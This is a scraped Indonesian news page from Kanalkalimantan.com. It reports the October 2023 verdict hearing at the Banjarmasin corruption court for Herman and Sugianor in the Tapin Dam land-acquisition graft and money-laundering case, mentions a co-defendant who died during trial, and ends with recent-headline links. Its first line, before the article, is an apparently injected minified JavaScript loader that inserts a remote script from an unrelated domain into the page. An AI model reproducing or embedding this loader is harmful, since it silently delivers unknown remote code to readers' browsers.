(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Dua Terdakwa Korupsi Pembebasan Lahan Bendungan Tapin Dengarkan Putusan


KANALKALIMANTAN.COM, BANJARMASIN – Sidang perkara kasus gratifikasi dan pencucian uang pembebasan lahan proyek Bendungan Tapin, Kalimantan Selatan (Kalsel) memasuki babak akhir.

Senin (9/10/2023) pagi, majelis hakim Pengadilan Tipikor Banjarmasin membacakan putusan kepada dua terdakwa Herman dan Sugianor.

Putusan terlebih dahulu dibacakan untuk terdakwa Herman seorang petani di sekitar Bendungan Pipitak Jaya.

Sementara itu, terdakwa Sugianor mantan Kepala Desa (Kades) Pipitak Jaya menjadi terdakwa kedua yang dibacakan putusan.

Baca juga: BPBD Banjar Terus Pasok Air Bersih di Wilayah Kekeringan

Keduanya hadir langsung dalam persidangan setelah dijemput dari Lembaga Pemasyarakatan (Lapas) Kelas II Teluk Dalam Banjarmasin.

Pantauan Kanalkalimantan.com di ruang sidang, sejumlah kerabat terdakwa yang datang dari Tapin sejak pagi telah hadir untuk mendengar pembacaan vonis keduanya.

Sebelumnya, dua terdakwa Herman dan Sugianor telah dituntut bersalah oleh Jaksa Penuntut Umum (JPU) dari Kejari Tapin dengan tuntutan pidana 5 tahun penjara.

Sidang di Pengadilan Tipikor Banjarmasin saat pembacaan putusan perkara suap dan pencucian uang kasus pembebasan lahan Bendungan Tapin, Senin (9/10/2023) pagi. Foto: rizki

Baca juga: Hari Pos Sedunia 9 Oktober, Kantor Pos di Era Digital

Keduanya dituntut membayar uang pengganti dengan nominal yang berbeda. Herman dituntut membayar Rp954 juta, sedangkan Sugianor dituntut membayar Rp800 juta atau jika tidak membayar diganti 3 tahun penjara.

JPU menyatakan keduanya terbukti bersalah melakukan tindak pidana sebagaimana diatur dalam Pasal 12 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.

Selain itu, keduanya juga dianggap bersalah melakukan pencucian uang sebagamiamana diatur Pasal 3 Undang-Undang Nomor 8 Tahun 2010 tentang Pemberantasan Tindak Pidana Pencucian Uang (TPPU).

Kasus korupsi pembebasan lahan pryey Bendungan Tapin tersebut menyeret tiga terdakwa, yaitu Herman, Sugianor, dan Achmad Rizaldy.

Baca juga: Konflik Lahan Sawit di Seruyan Tewaskan Warga, Panglima Jilah Desak Kapolri Bertindak Tegas

Saat proses persidangan, satu orang terdakwa Achmad Rizaldy meninggal dunia karena sakit. Achmad Rizaldy meninggal di Rumah Sakit Suaka Insan Banjarmasin pada Minggu (3/9/2023).

Tiga hari sebelumnya ASN guru SD ini baru saja menjalani sidang tuntutan. Oleh JPU ia dituntut dengan pidana 6 tahun penjara dan membayar uang pengganti Rp600 juta.

Berdasarkan pasal 77 KUHP, majelis hakim Pengadilan Tipikor akhirnya menetapkan perkara maupun tuntutan Achmad Rizaldy dinyatakan gugur.

“Menyatakan tuntutan penuntut umum terhadap Achmad Rizaldy gugur,” ucap hakim ketua Suwandi, Senin (11/9/2023). (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Laporan Dugaan Pelanggaran Cabup Banjar Tamliha-Habib, Begini Progresnya di Bawaslu Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More

59 menit ago

Pjs Wali Kota Banjarbaru Serahkan SK Kenaikan Pangkat PNS

KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More

4 jam ago

KPK Panggil Sahbirin Noor Sebagai Saksi Hari Ini

KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More

4 jam ago

Donasi Palestina Pjs Wali Kota Banjarbaru di Stan Sekretariat DPRD

KANALKALIMANTAN.COM, BANJARBARU – Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP singgah ke… Read More

4 jam ago

27 Pelaku Usaha Diberi Penghargaan Taat Pengelolaan Lingkungan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More

5 jam ago

DPRD Kalsel Usulkan Pengangkatan Muhidin Jadi Gubernur

KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More

7 jam ago

This website uses cookies.